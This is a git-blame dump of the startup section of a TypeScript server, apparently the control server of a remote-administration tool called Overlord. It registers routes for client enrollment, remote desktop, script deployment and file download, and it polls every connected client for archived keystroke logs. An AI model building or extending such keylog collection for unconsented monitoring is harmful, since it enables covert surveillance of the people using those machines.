notifyRemoteDesktopStatus,
2026-03-12 21:26:53 -05:00
handleBuildTagConnection,
notifyDashboard: sessionManager.notifyDashboardViewers,
2026-03-22 23:21:27 -05:00
notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent,
2026-03-22 00:36:02 -05:00
broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent,
2026-06-30 14:35:27 -05:00
handleCrashReport: notificationPluginHandlers.handleCrashReport,
2026-03-05 00:04:26 -06:00
};
2026-05-11 21:11:21 -05:00
const server = Bun.serve<SocketData>({
2026-03-05 00:04:26 -06:00
port: PORT,
hostname: HOST,
2026-03-07 16:19:04 -06:00
...(tls ? { tls: tls.tlsOptions } : {}),
2026-03-05 00:04:26 -06:00
idleTimeout: 255,
2026-03-08 00:53:22 -06:00
maxRequestBodySize: MAX_HTTP_BODY_BYTES,
2026-03-05 00:04:26 -06:00
fetch: createHttpFetchHandler({
metrics,
CORS_HEADERS,
2026-05-06 18:24:33 -05:00
routes: [
2026-05-29 15:41:08 -05:00
(req, url, srv) => handleRegistrationRoutes(req, url, {
...routeDeps.registration,
requestIP: (srv as any).requestIP,
}),
2026-07-13 20:00:04 -05:00
(req, url, srv) => handleUiRoutes(req, url, srv as any),
2026-05-06 18:24:33 -05:00
(req, url, srv) => handleAuthRoutes(req, url, srv as any),
2026-07-08 20:34:25 -05:00
(req, url, srv) => handleOidcRoutes(req, url, srv as any),
2026-05-06 18:24:33 -05:00
(req, url, srv) => handleNotificationsConfigRoutes(req, url, srv as any, routeDeps.notificationsConfig),
(req, url) => handleAutoScriptsRoutes(req, url),
(req, url) => handleSavedScriptsRoutes(req, url),
(req, url) => handleAutoDeployRoutes(req, url, routeDeps.autoDeploy),
(req, url) => handleEnrollmentRoutes(req, url),
(req, url) => handleChatRoutes(req, url),
(req, url) => handleSolRoutes(req, url),
(req, url, srv) => handleUsersRoutes(req, url, srv as any),
2026-05-19 00:46:30 -05:00
(req, url, srv) => handlePermissionGroupsRoutes(req, url, srv as any),
2026-05-06 18:24:33 -05:00
(req, url, srv) => handleBuildRoutes(req, url, srv as any, routeDeps.build),
(req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy),
(req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre),
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
(req, url) => handleKeylogArchiveRoutes(req, url, { CORS_HEADERS }),
2026-05-06 18:24:33 -05:00
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
(req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
2026-05-29 15:41:08 -05:00
(req, url, srv) => handleMiscRoutes(req, url, {
...routeDeps.misc,
requestIP: (srv as any).requestIP,
}),
2026-05-06 18:24:33 -05:00
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
(req, url, srv) => handlePageRoutes(req, url, {
...routeDeps.page,
requestIP: (srv as any).requestIP,
}),
2026-05-13 13:44:33 -05:00
(req, url) => handleWebrtcRoutes(req, url),
2026-05-06 18:24:33 -05:00
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
(req, url) => handleRemoteDesktopRecordingRoutes(req, url, routeDeps.rdRecording),
2026-05-06 18:24:33 -05:00
],
2026-03-05 00:04:26 -06:00
}),
websocket: createWebSocketRuntime({
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
lifecycleDeps,
handleWebSocketOpen,
handleWebSocketMessage,
handleWebSocketClose,
}),
});
markAllClientsOffline();
loadOrGenerateVapidKeys();
2026-03-05 00:04:26 -06:00
deleteExpiredBuilds();
logger.info(`[db] Cleaned up expired builds`);
2026-04-08 10:33:22 -05:00
const expiredPaths = deleteExpiredSharedFiles();
for (const p of expiredPaths) {
try { const dir = path.dirname(p); await fs.rm(dir, { recursive: true, force: true }); } catch {}
}
if (expiredPaths.length) logger.info(`[db] Cleaned up ${expiredPaths.length} expired shared files`);
2026-04-14 21:56:18 -05:00
const chatRetentionDays = getConfig().chat?.retentionDays ?? 30;
if (chatRetentionDays > 0) {
const retentionMs = chatRetentionDays * 24 * 60 * 60 * 1000;
const purged = deleteExpiredChatMessages(retentionMs);
if (purged > 0) logger.info(`[db] Cleaned up ${purged} expired chat messages (retention: ${chatRetentionDays}d)`);
}
const purgedKeylogs = pruneExpiredKeylogArchive();
if (purgedKeylogs > 0) logger.info(`[keylog-archive] Cleaned up ${purgedKeylogs} expired archived input logs`);
let lastKeylogArchivePollAt = 0;
setInterval(() => {
const purged = pruneExpiredKeylogArchive();
if (purged > 0) logger.info(`[keylog-archive] Cleaned up ${purged} expired archived input logs`);
}, 60 * 60 * 1000);
setInterval(() => {
const cfg = getConfig().inputArchive;
if (!cfg?.enabled || cfg.pollIntervalSeconds <= 0) return;
const now = Date.now();
const intervalMs = cfg.pollIntervalSeconds * 1000;
if (now - lastKeylogArchivePollAt < intervalMs) return;
lastKeylogArchivePollAt = now;
let requested = 0;
for (const client of clientManager.getAllClients().values()) {
if (!client?.id || client.role !== "client" || !client.ws) continue;
if (dispatchKeylogArchiveSync(client.id, client.ws)) requested++;
}
if (requested > 0) {
logger.debug(`[keylog-archive] Poll requested keylog lists from ${requested} connected clients`);
}
}, 30 * 1000);
2026-04-14 21:56:18 -05:00
setInterval(() => {
const days = getConfig().chat?.retentionDays ?? 30;
if (days > 0) {
const ms = days * 24 * 60 * 60 * 1000;
const count = deleteExpiredChatMessages(ms);
if (count > 0) logger.info(`[chat] Purged ${count} expired messages (retention: ${days}d)`);
}
}, 60 * 60 * 1000); // every hour
2026-03-05 00:04:26 -06:00
startMaintenanceLoops({
getClients: clientManager.getAllClients,
setOnlineState,
deleteClient: clientManager.deleteClient,
staleMs: STALE_MS,
pruneBatch: PRUNE_BATCH,
heartbeatIntervalMs: HEARTBEAT_INTERVAL_MS,
disconnectTimeoutMs: DISCONNECT_TIMEOUT_MS,
});
2026-03-07 16:19:04 -06:00
if (tls) {
logServerStartup(server, tls.certPathUsed, tls.source);
2026-03-08 00:53:22 -06:00
logger.info(`[HTTP] maxRequestBodySize=${MAX_HTTP_BODY_BYTES} bytes`);
2026-03-07 16:19:04 -06:00
} else {
const hostname = server.hostname || "0.0.0.0";
const port = server.port ?? 0;
logger.info("========================================");
logger.info("Overlord Server - PROXY TLS OFFLOAD MODE");
logger.info("========================================");
logger.info(`HTTP (internal): http://${hostname}:${port}`);
logger.info(`WS (internal): ws://${hostname}:${port}/api/clients/{id}/stream/ws`);
logger.info("");
logger.info("External access should be HTTPS/WSS via your reverse proxy platform.");
logger.info("Set this mode only when TLS is terminated by the platform (for example Render). ");
2026-03-08 00:53:22 -06:00
logger.info(`[HTTP] maxRequestBodySize=${MAX_HTTP_BODY_BYTES} bytes`);
2026-03-07 16:19:04 -06:00
logger.info("========================================");
}
2026-03-05 00:04:26 -06:00
}
startServer();
2026-05-06 18:24:33 -05:00
function gracefulShutdown() {
2026-03-05 00:04:26 -06:00
logger.info("\n[server] Shutting down gracefully...");
2026-05-03 00:29:05 -05:00
void pluginRuntime.shutdownAll();
2026-03-05 00:04:26 -06:00
flushAuditLogsSync();
process.exit(0);
2026-05-06 18:24:33 -05:00
}
process.on("SIGINT", gracefulShutdown);
process.on("SIGTERM", gracefulShutdown);
process.on("uncaughtException", (err) => {
logger.error("[server] uncaught exception:", err);
flushAuditLogsSync();
process.exit(1);
});
process.on("unhandledRejection", (reason) => {
logger.error("[server] unhandled rejection:", reason);
});